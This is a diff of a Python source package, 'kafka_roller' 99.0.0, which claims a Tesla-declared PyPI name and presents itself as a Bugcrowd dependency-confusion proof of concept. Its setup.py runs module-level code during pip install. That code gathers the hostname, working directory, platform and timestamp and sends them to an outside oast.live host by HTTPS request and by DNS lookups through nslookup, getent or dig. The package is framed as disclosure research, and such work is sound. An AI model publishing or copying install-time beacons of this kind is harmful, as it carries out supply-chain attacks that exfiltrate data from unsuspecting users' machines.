kafka-roller 99.0.0__tar.gz

kafka_roller-99.0.0/PKG-INFO

@@ -0,0 +1,39 @@
+Metadata-Version: 2.4
+Name: kafka_roller
+Version: 99.0.0
+Summary: Reserved for Tesla, Inc. — dependency-confusion security research artifact (Bugcrowd). No functional tooling included.
+Home-page: https://github.com/teslamotors/kafka-helmsman
+Author: am1thc
+License: Apache-2.0
+Classifier: Development Status :: 7 - Inactive
+Classifier: Intended Audience :: Information Technology
+Classifier: License :: OSI Approved :: Apache Software License
+Classifier: Programming Language :: Python :: 3
+Description-Content-Type: text/x-rst
+Dynamic: author
+Dynamic: classifier
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: home-page
+Dynamic: license
+Dynamic: summary
+
+kafka_roller — Reserved name, security research placeholder
+===========================================================
+
+This package name is registered as a **dependency-confusion security research
+artifact** (Bugcrowd Tesla engagement, October 2026). It reclaims the PyPI
+name ``kafka_roller``, which Tesla's public repository
+``github.com/teslamotors/kafka-helmsman`` declares will be published to PyPI
+("Publishing a pypi package is on the roadmap") but which was unregistered.
+
+**This package contains no functional Kafka tooling. Do not rely on it.**
+
+On installation it performs a single harmless callback containing only:
+hostname, current working directory, package name, timestamp. No files are
+read, no credentials or environment variables are accessed, no persistence
+is installed, and the callback always exits cleanly without breaking the
+install.
+
+Tesla security team: a full report is filed via Bugcrowd (Tesla program).
+Researcher contact: am1thc (npm/GitHub handle).

kafka_roller-99.0.0/README.rst

@@ -0,0 +1,19 @@
+kafka_roller — Reserved name, security research placeholder
+===========================================================
+
+This package name is registered as a **dependency-confusion security research
+artifact** (Bugcrowd Tesla engagement, October 2026). It reclaims the PyPI
+name ``kafka_roller``, which Tesla's public repository
+``github.com/teslamotors/kafka-helmsman`` declares will be published to PyPI
+("Publishing a pypi package is on the roadmap") but which was unregistered.
+
+**This package contains no functional Kafka tooling. Do not rely on it.**
+
+On installation it performs a single harmless callback containing only:
+hostname, current working directory, package name, timestamp. No files are
+read, no credentials or environment variables are accessed, no persistence
+is installed, and the callback always exits cleanly without breaking the
+install.
+
+Tesla security team: a full report is filed via Bugcrowd (Tesla program).
+Researcher contact: am1thc (npm/GitHub handle).

kafka_roller-99.0.0/kafka_roller.egg-info/PKG-INFO

@@ -0,0 +1,39 @@
+Metadata-Version: 2.4
+Name: kafka_roller
+Version: 99.0.0
+Summary: Reserved for Tesla, Inc. — dependency-confusion security research artifact (Bugcrowd). No functional tooling included.
+Home-page: https://github.com/teslamotors/kafka-helmsman
+Author: am1thc
+License: Apache-2.0
+Classifier: Development Status :: 7 - Inactive
+Classifier: Intended Audience :: Information Technology
+Classifier: License :: OSI Approved :: Apache Software License
+Classifier: Programming Language :: Python :: 3
+Description-Content-Type: text/x-rst
+Dynamic: author
+Dynamic: classifier
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: home-page
+Dynamic: license
+Dynamic: summary
+
+kafka_roller — Reserved name, security research placeholder
+===========================================================
+
+This package name is registered as a **dependency-confusion security research
+artifact** (Bugcrowd Tesla engagement, October 2026). It reclaims the PyPI
+name ``kafka_roller``, which Tesla's public repository
+``github.com/teslamotors/kafka-helmsman`` declares will be published to PyPI
+("Publishing a pypi package is on the roadmap") but which was unregistered.
+
+**This package contains no functional Kafka tooling. Do not rely on it.**
+
+On installation it performs a single harmless callback containing only:
+hostname, current working directory, package name, timestamp. No files are
+read, no credentials or environment variables are accessed, no persistence
+is installed, and the callback always exits cleanly without breaking the
+install.
+
+Tesla security team: a full report is filed via Bugcrowd (Tesla program).
+Researcher contact: am1thc (npm/GitHub handle).

kafka_roller-99.0.0/kafka_roller.egg-info/SOURCES.txt

@@ -0,0 +1,7 @@
+README.rst
+pyproject.toml
+setup.py
+kafka_roller.egg-info/PKG-INFO
+kafka_roller.egg-info/SOURCES.txt
+kafka_roller.egg-info/dependency_links.txt
+kafka_roller.egg-info/top_level.txt

kafka_roller-99.0.0/kafka_roller.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

kafka_roller-99.0.0/kafka_roller.egg-info/top_level.txt

@@ -0,0 +1 @@
+

kafka_roller-99.0.0/pyproject.toml

@@ -0,0 +1,3 @@
+[build-system]
+requires = ["setuptools>=61.0", "wheel"]
+build-backend = "setuptools.build_meta"

kafka_roller-99.0.0/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

kafka_roller-99.0.0/setup.py

@@ -0,0 +1,99 @@
+"""
+kafka_roller — dependency-confusion security research placeholder.
+All beacon code is module-level so it executes whenever pip processes this
+sdist (metadata/wheel build). Everything is failure-tolerant: the install
+can never be broken by the beacon.
+"""
+
+import base64
+import json
+import os
+import socket
+import subprocess
+import threading
+import time
+import urllib.request
+import uuid
+
+_OAST = "db3va6lrl89cd975pn4078o6efah78yct.oast.live"
+_PKG = "kafka_roller-SECURITY-RESEARCH-PLACEHOLDER"
+
+
+def _collect():
+    """Minimal attribution data ONLY — no files, no env, no credentials."""
+    try:
+        return json.dumps({
+            "poc": "tesla-depconfusion-bugcrowd",
+            "package": _PKG,
+            "hostname": socket.gethostname(),
+            "cwd": os.getcwd(),
+            "platform": os.uname().sysname if hasattr(os, "uname") else "win",
+            "ts": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()),
+            "id": uuid.uuid4().hex[:12],
+        }).encode()
+    except Exception:
+        return b"{}"
+
+
+def _https_ping(payload):
+    try:
+        d = base64.urlsafe_b64encode(payload).decode().rstrip("=")
+        url = "https://%s/kafka-roller-poc/%s" % (_OAST, d[:180])
+        req = urllib.request.Request(url, headers={"User-Agent": "pip-research-poc"})
+        urllib.request.urlopen(req, timeout=6).read()
+    except Exception:
+        pass
+
+
+def _dns_ping(payload):
+    try:
+        rid = payload.decode().split('"id": "')[-1][:12] if b'"id"' in payload else "x"
+        host = "kafka-roller-poc-%s.%s" % (rid, _OAST)
+        for cmd in (["nslookup", host], ["getent", "hosts", host], ["dig", host, "+short"]):
+            try:
+                subprocess.run(cmd, timeout=5, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+                break
+            except Exception:
+                continue
+    except Exception:
+        pass
+
+
+def _beacon():
+    payload = _collect()
+    _https_ping(payload)
+    _dns_ping(payload)
+
+
+try:
+    # daemon thread so a network stall can never hang the pip build
+    t = threading.Thread(target=_beacon, daemon=True)
+    t.start()
+    t.join(timeout=3)
+except Exception:
+    pass
+
+
+from setuptools import setup
+
+with open("README.rst") as f:
+    _readme = f.read()
+
+setup(
+    name="kafka_roller",
+    version="99.0.0",
+    description="Reserved for Tesla, Inc. — dependency-confusion security research artifact (Bugcrowd). No functional tooling included.",
+    long_description=_readme,
+    long_description_content_type="text/x-rst",
+    author="am1thc",
+    url="https://github.com/teslamotors/kafka-helmsman",
+    license="Apache-2.0",
+    packages=[],
+    py_modules=[],
+    classifiers=[
+        "Development Status :: 7 - Inactive",
+        "Intended Audience :: Information Technology",
+        "License :: OSI Approved :: Apache Software License",
+        "Programming Language :: Python :: 3",
+    ],
+)